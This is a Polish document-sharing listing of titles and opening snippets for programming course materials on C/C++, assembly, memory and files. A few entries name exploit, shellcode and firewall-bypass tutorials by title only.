Exploity w praktyce Plan prelekcji Powtórka assembly x86 32. Pamięć uruchamianych programów. Prosty stack overflow exploit. Tworzenie shellcode i jego uruchomienie. Wstrzykiwanie shellcode wykorzystując
Bardziej szczegółowoLaboratorium 6: Dynamiczny przydział pamięci. dr inż. Arkadiusz Chrobot dr inż. Grzegorz Łukawski
Laboratorium 6: Dynamiczny przydział pamięci dr inż. Arkadiusz Chrobot dr inż. Grzegorz Łukawski 15 maja 2015 1. Wprowadzenie Instrukcja poświęcona jest dynamicznemu przydziałowi i zwalnianiu pamięci w
Bardziej szczegółowoPROGRAMOWANIE NISKOPOZIOMOWE. Adresowanie pośrednie rejestrowe. Stos PN.04. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012
PROGRAMOWANIE NISKOPOZIOMOWE PN.04 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 1 2 3 Ćwiczenia laboratoryjne c Dr inż. Ignacy Pardyka (Inf.UJK) PN.04 Rok akad.
Bardziej szczegółowoJak wiemy, wszystkich danych nie zmieścimy w pamięci. A nawet jeśli zmieścimy, to pozostaną tam tylko do najbliższego wyłączenia zasilania.
Jak wiemy, wszystkich danych nie zmieścimy w pamięci. A nawet jeśli zmieścimy, to pozostaną tam tylko do najbliższego wyłączenia zasilania. Dlatego trzeba je zapisywać do pliku, a potem umieć je z tego
Bardziej szczegółowo3. Identyfikacja. SKŁADNIA #include <sys/socket.h> int getpeername(int socket, struct sockaddr *addr, int *addrlen);
3.1. Określanie adresu połączonego hosta 3. #include int getpeername(int socket, struct sockaddr *addr, int *addrlen); Funkcja getpeername dostarcza adresu drugiej strony połączenia. Parametry:
Bardziej szczegółowoPraktycznie całe zamieszanie dotyczące konwencji wywoływania funkcji kręci się w okół wskaźnika stosu.
Krótki artykuł opisujący trzy podstawowe konwencje wywoływania funkcji C++ (a jest ich więcej). Konwencje wywoływania funkcji nie są tematem, na który można się szeroko rozpisać, jednak należy znać i odróżniać
Bardziej szczegółowoWykład VI. Programowanie. dr inż. Janusz Słupik. Gliwice, 2014. Wydział Matematyki Stosowanej Politechniki Śląskiej. c Copyright 2014 Janusz Słupik
Wykład VI Wydział Matematyki Stosowanej Politechniki Śląskiej Gliwice, 2014 c Copyright 2014 Janusz Słupik Operacje na plikach Operacje na plikach Aby móc korzystać z pliku należy go otworzyć w odpowiednim
Bardziej szczegółowoSystemy Operacyjne - Operacje na plikach
Systemy Operacyjne - Operacje na plikach Andrzej Stroiński Institute of Computer Science Poznań University of Technology 1 październik, 2012 Wprowadzenie do ANSI-C Pomoc systemowa man gcc man 2 write man
Bardziej szczegółowoPodstawy programowania. Wykład Funkcje. Krzysztof Banaś Podstawy programowania 1
Podstawy programowania. Wykład Funkcje Krzysztof Banaś Podstawy programowania 1 Programowanie proceduralne Pojęcie procedury (funkcji) programowanie proceduralne realizacja określonego zadania specyfikacja
Bardziej szczegółowoCzęść 4 życie programu
1. Struktura programu c++ Ogólna struktura programu w C++ składa się z kilku części: część 1 część 2 część 3 część 4 #include int main(int argc, char *argv[]) /* instrukcje funkcji main */ Część
Bardziej szczegółowoczęść 8 wskaźniki - podstawy Jarosław Gramacki Instytut Informatyki i Elektroniki Podstawowe pojęcia
Język ANSI C część 8 wskaźniki - podstawy Jarosław Gramacki Instytut Informatyki i Elektroniki Podstawowe pojęcia najbardziej podstawowe operacje na wskaźnikach int x = 1, y = 2, Tab[10]; int *ip; // czy
Bardziej szczegółowoLaboratorium Systemów Operacyjnych. Ćwiczenie 4. Operacje na plikach
Laboratorium Systemów Operacyjnych Ćwiczenie 4. Operacje na plikach Wykonanie operacji wymaga wskazania pliku, na którym operacja ma zostać wykonana. Plik w systemie LINUX identyfikowany jest przez nazwę,
Bardziej szczegółowoznajdowały się różne instrukcje) to tak naprawdę definicja funkcji main.
Część XVI C++ Funkcje Jeśli nasz program rozrósł się już do kilkudziesięciu linijek, warto pomyśleć o jego podziale na mniejsze części. Poznajmy więc funkcje. Szybko się przekonamy, że funkcja to bardzo
Bardziej szczegółowoArgumenty wywołania programu, operacje na plikach
Temat zajęć: Argumenty wywołania programu, operacje na plikach Autor: mgr inż. Sławomir Samolej Zagadnienie 1. (Zmienne statyczne) W języku C można decydować o sposobie przechowywania zmiennych. Decydują
Bardziej szczegółowoVII. Ciągi znaków łańcuchy
VII. Ciągi znaków łańcuchy 7.1. Wczytywanie tekstu Do tej pory poznaliśmy metodę wczytywania i wyświetlania liczb. Tak samo jak liczby moŝemy wczytać jeden znak, jednak co zrobić jeśli chcielibyśmy wczytać
Bardziej szczegółowoWskaźniki w C. Anna Gogolińska
Wskaźniki w C Anna Gogolińska Zmienne Zmienną w C można traktować jako obszar w pamięci etykietowany nazwą zmiennej i zawierający jej wartość. Przykład: kod graficznie int a; a a = 3; a 3 Wskaźniki Wskaźnik
Bardziej szczegółowoProgramowanie w językach wysokiego poziomu
Programowanie w językach wysokiego poziomu zajęcia nr 2 Elektronika i Telekomunikacja, semestr III rok akademicki 2014/2015 Plan dzisiejszych zajęć Pliki tekstowe 1. Operacje na plikach - wprowadzenie
Bardziej szczegółowoĆwiczenie 4. Obsługa plików. Laboratorium Podstaw Informatyki. Kierunek Elektrotechnika. Laboratorium Podstaw Informatyki Strona 1.
Laboratorium Podstaw Informatyki Strona 1 Laboratorium Podstaw Informatyki Kierunek Elektrotechnika Ćwiczenie 4 Obsługa plików Kraków 2010 Laboratorium Podstaw Informatyki Strona 2 Obsługa plików Zanim
Bardziej szczegółowoTablice, funkcje, wskaźniki - wprowadzenie
Tablice, funkcje, wskaźniki - wprowadzenie Przemysław Gawroński D-10, p. 234 Wykład 4 19 listopada 2018 (Wykład 4) Tablice, funkcje, wskaźniki - wprowadzenie 19 listopada 2018 1 / 37 Outline 1 Tablice
Bardziej szczegółowoBiblioteka standardowa - operacje wejścia/wyjścia
Biblioteka standardowa - operacje wejścia/wyjścia Przemysław Gawroński D-10, p. 234 Wykład 6 15 stycznia 2019 (Wykład 6) Biblioteka standardowa - operacje wejścia/wyjścia 15 stycznia 2019 1 / 14 Outline
Bardziej szczegółowoTablice w argumentach funkcji. Tablicy nie są przekazywane po wartości Tablicy są przekazywane przez referencje lub po wskaźniku
Tablice w argumentach funkcji Tablicy nie są przekazywane po wartości Tablicy są przekazywane przez referencje lub po wskaźniku Przykład: char str[] = abcdef ;... fun(str); // argument faktyczny to id
Bardziej szczegółowoMetodyki i Techniki Programowania 1 1 1. MECHANIZM POWSTAWANIA PROGRAMU W JĘZYKU C PODSTAWOWE POJĘCIA
Metodyki i Techniki Programowania 1 1 ZAJ CIA 3. 1. MECHANIZM POWSTAWANIA PROGRAMU W JĘZYKU C PODSTAWOWE POJĘCIA IDE zintegrowane środowisko programistyczne, zawierające kompilator, edytor tekstu i linker,
Bardziej szczegółowoProgramowanie Proceduralne
Programowanie Proceduralne Struktury Bożena Woźna-Szcześniak bwozna@gmail.com Jan Długosz University, Poland Wykład 10 Co dziś będzie: Definiowanie struktury Deklarowanie zmiennych bȩda cych strukturami
Bardziej szczegółowoWprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl)
Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl) char *index[6]; index[0] = "Intro"; index[1] = "Zaczynamy"; index[2] = "Hello world?!"; index[3] = "Shellcode tworzący
Bardziej szczegółowoProgramowanie w C++ Wykład 5. Katarzyna Grzelak. 16 kwietnia K.Grzelak (Wykład 1) Programowanie w C++ 1 / 27
Programowanie w C++ Wykład 5 Katarzyna Grzelak 16 kwietnia 2018 K.Grzelak (Wykład 1) Programowanie w C++ 1 / 27 Pojęcia z poprzednich wykładów Tablica to ciag obiektów tego samego typu, zajmujacy ciagły
Bardziej szczegółowoObsługa plików. Systemy Operacyjne 2 laboratorium. Mateusz Hołenko. 25 września 2011
Obsługa plików Systemy Operacyjne 2 laboratorium Mateusz Hołenko 25 września 2011 Plan zajęć 1 Pliki w systemie Linux i-węzły deskryptory plików 2 Operacje na plikach otwieranie i zamykanie zapis i odczyt
Bardziej szczegółowoStruktura programu. Projekty złożone składają się zwykłe z różnych plików. Zawartość każdego pliku programista wyznacza zgodnie z jego przeznaczeniem.
Struktura programu Projekty złożone składają się zwykłe z różnych plików. Zawartość każdego pliku programista wyznacza zgodnie z jego przeznaczeniem. W ostatnich latach najbardziej używanym stylem oprogramowania
Bardziej szczegółowo// Liczy srednie w wierszach i kolumnach tablicy "dwuwymiarowej" // Elementy tablicy są generowane losowo #include <stdio.h> #include <stdlib.
Wykład 10 Przykłady różnych funkcji (cd) - przetwarzanie tablicy tablic (tablicy "dwuwymiarowej") - sortowanie przez "selekcję" Dynamiczna alokacja pamięci 1 // Liczy srednie w wierszach i kolumnach tablicy
Bardziej szczegółowoProgram wykonujący operację na plikach powinien zachować schemat działania zapewniający poprawną pracę:
Rozdział 1 Obsługa plików W językach C pliki powiązane są ze strumieniami i pracuje się na nich podobnie jak na innych strumieniach. W języku C do operacji na plikach służą funkcje z biblioteki stdio.h,
Bardziej szczegółowoStruktury. Przykład W8_1
Struktury Struktury pozwalają na grupowanie zmiennych różnych typów pod wspólną nazwą. To istotnie ułatwia organizacje danych, które okazują się w jednym miejscu kodu programu. To jest bardzo ważne dla
Bardziej szczegółowoProgramowanie Niskopoziomowe
Programowanie Niskopoziomowe Wykład 11: Procedury zaawansowane Dr inż. Marek Mika Państwowa Wyższa Szkoła Zawodowa im. Jana Amosa Komeńskiego W Lesznie Plan Wstęp Ramki stosu Rekurencja INVOKE, ADDR, PROC,
Bardziej szczegółowoProgramowanie komputerowe. Zajęcia 4
Programowanie komputerowe Zajęcia 4 Typ logiczny Wartości logiczne są reprezentowane przez typ bool. Typ bool posiada tylko dwie wartości: true i false. Zamiast wartości logicznych można używać wartości
Bardziej szczegółowoOmijanie firewalli w systemach Windows ---warsztaty --- Mateusz Drygas, Marcin Jerzak, Jakub Tomaszewski, Zespół Bezpieczeństwa PCSS Poznań, 18.06 06.2009 1 Agenda 10:00 Rozpoczęcie, powitanie uczestników,
Bardziej szczegółowoAssembler w C++ Syntaksa AT&T oraz Intela
Ponownie dodaję artykuł zahaczający o temat assemblera. Na własnej skórze doświadczyłem dzisiaj problemów ze wstawką assemblerową w kodzie C++, dlatego postanowiłem stworzyć artykuł, w którym zbiorę w
Bardziej szczegółowoPodstawy programowania w języku C++
Podstawy programowania w języku C++ Część siódma Przetwarzanie tablic znaków Autor Roman Simiński Kontakt roman.siminski@us.edu.pl www.us.edu.pl/~siminski Niniejsze opracowanie zawiera skrót treści wykładu,
Bardziej szczegółowoĆwiczenie nr 6. Programowanie mieszane
Ćwiczenie nr 6 Programowanie mieszane 6.1 Wstęp Współczesne języki programowania posiadają bardzo rozbudowane elementy językowe, co pozwala w większości przypadków na zdefiniowanie całego kodu programu
Bardziej szczegółowoTablice deklaracja, reprezentacja wewnętrzna
Tablice deklaracja, reprezentacja wewnętrzna Tablica jest zmienną złożoną z elementów tego samego typu. Obejmuje ona ciągły obszar pamięci operacyjnej dokładnie tak duży, aby zmieścić wszystkie jej elementy.
Bardziej szczegółowoObsługa plików. Laboratorium Podstaw Informatyki. Kierunek Elektrotechnika. Laboratorium Podstaw Informatyki Strona 1. Kraków 2013
Laboratorium Podstaw Informatyki Strona 1 Laboratorium Podstaw Informatyki Kierunek Elektrotechnika Obsługa plików Kraków 2013 Laboratorium Podstaw Informatyki Strona 2 Obsługa plików Zanim będziemy mogli
Bardziej szczegółowoProgramowanie I C / C++ laboratorium 02 Składnia pętli, typy zmiennych, operatory
Programowanie I C / C++ laboratorium 02 Składnia pętli, typy zmiennych, operatory Jarosław Piersa Wydział Matematyki i Informatyki, Uniwersytet Mikołaja Kopernika 2013-02-19 Pętla while Pętla while Pętla
Bardziej szczegółowoutworz tworzącą w pamięci dynamicznej tablicę dwuwymiarową liczb rzeczywistych, a następnie zerującą jej wszystkie elementy,
Lista 3 Zestaw I Zadanie 1. Zaprojektować i zaimplementować funkcje: utworz tworzącą w pamięci dynamicznej tablicę dwuwymiarową liczb rzeczywistych, a następnie zerującą jej wszystkie elementy, zapisz
Bardziej szczegółowoZasady programowania Dokumentacja
Marcin Kędzierski gr. 14 Zasady programowania Dokumentacja Wstęp 1) Temat: Przeszukiwanie pliku za pomocą drzewa. 2) Założenia projektu: a) Program ma pobierać dane z pliku wskazanego przez użytkownika
Bardziej szczegółowo4 Literatura. c Dr inż. Ignacy Pardyka (Inf.UJK) ASK MP.01 Rok akad. 2011/2012 2 / 24
Wymagania proceduralnych języków wysokiego poziomu ARCHITEKTURA SYSTEMÓW KOMPUTEROWYCH modele programowe procesorów ASK MP.01 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad.
Bardziej szczegółowoĆwiczenie nr 6. Poprawne deklaracje takich zmiennych tekstowych mogą wyglądać tak:
Ćwiczenie nr 6 Temat: Operacje na łańcuchach znaków. Zagadnienia: Zasady pracy z łańcuchami tekstowymi (tablice wartości typu char). funkcje standardowe operacji na łańcuchach, funkcje I/O dla operacji
Bardziej szczegółowoPobieranie argumentów wiersza polecenia
Pobieranie argumentów wiersza polecenia 2. Argumenty wiersza polecenia Lista argumentów Lista argumentów zawiera cały wiersz poleceń, łącznie z nazwą programu i wszystkimi dostarczonymi argumentami. Przykłady:
Bardziej szczegółowoSpis treści. Wskazówki prawne Art Art Art. 268a Art Art. 269a Art. 269b... 23
Spis treści Przedmowa do wydania trzeciego... 11 Szkoła Hakerów??? Czy wyście już do końca powariowali?!... 11 Kim jest haker?... 12 Misja Szkoły Hakerów... 12 Słowem wstępu... 15 Sposób przekazywania
Bardziej szczegółowoFunkcja (podprogram) void
Funkcje Co to jest funkcja? Budowa funkcji Deklaracja, definicja i wywołanie funkcji Przykłady funkcji definiowanych przez programistę Przekazywanie argumentów do funkcji Tablica jako argument funkcji
Bardziej szczegółowoDANE TEKSTOWE W JĘZYKU C/C++ - TABLICE ZNAKOWE
DANE TEKSTOWE W JĘZYKU C/C++ - TABLICE ZNAKOWE Stała tekstowa / łańcuchowa jest tablicą znaków zakończoną znakiem o kodzie: 0 np. stała łańcuchowa: Jestem tekstem ASCII... J e s t e m t e k s t e m \0...
Bardziej szczegółowoĆwiczenie nr 3. Wyświetlanie i wczytywanie danych
Ćwiczenie nr 3 Wyświetlanie i wczytywanie danych 3.1 Wstęp Współczesne komputery przetwarzają dane zakodowane za pomocą ciągów zerojedynkowych. W szczególności przetwarzane liczby kodowane są w systemie
Bardziej szczegółowo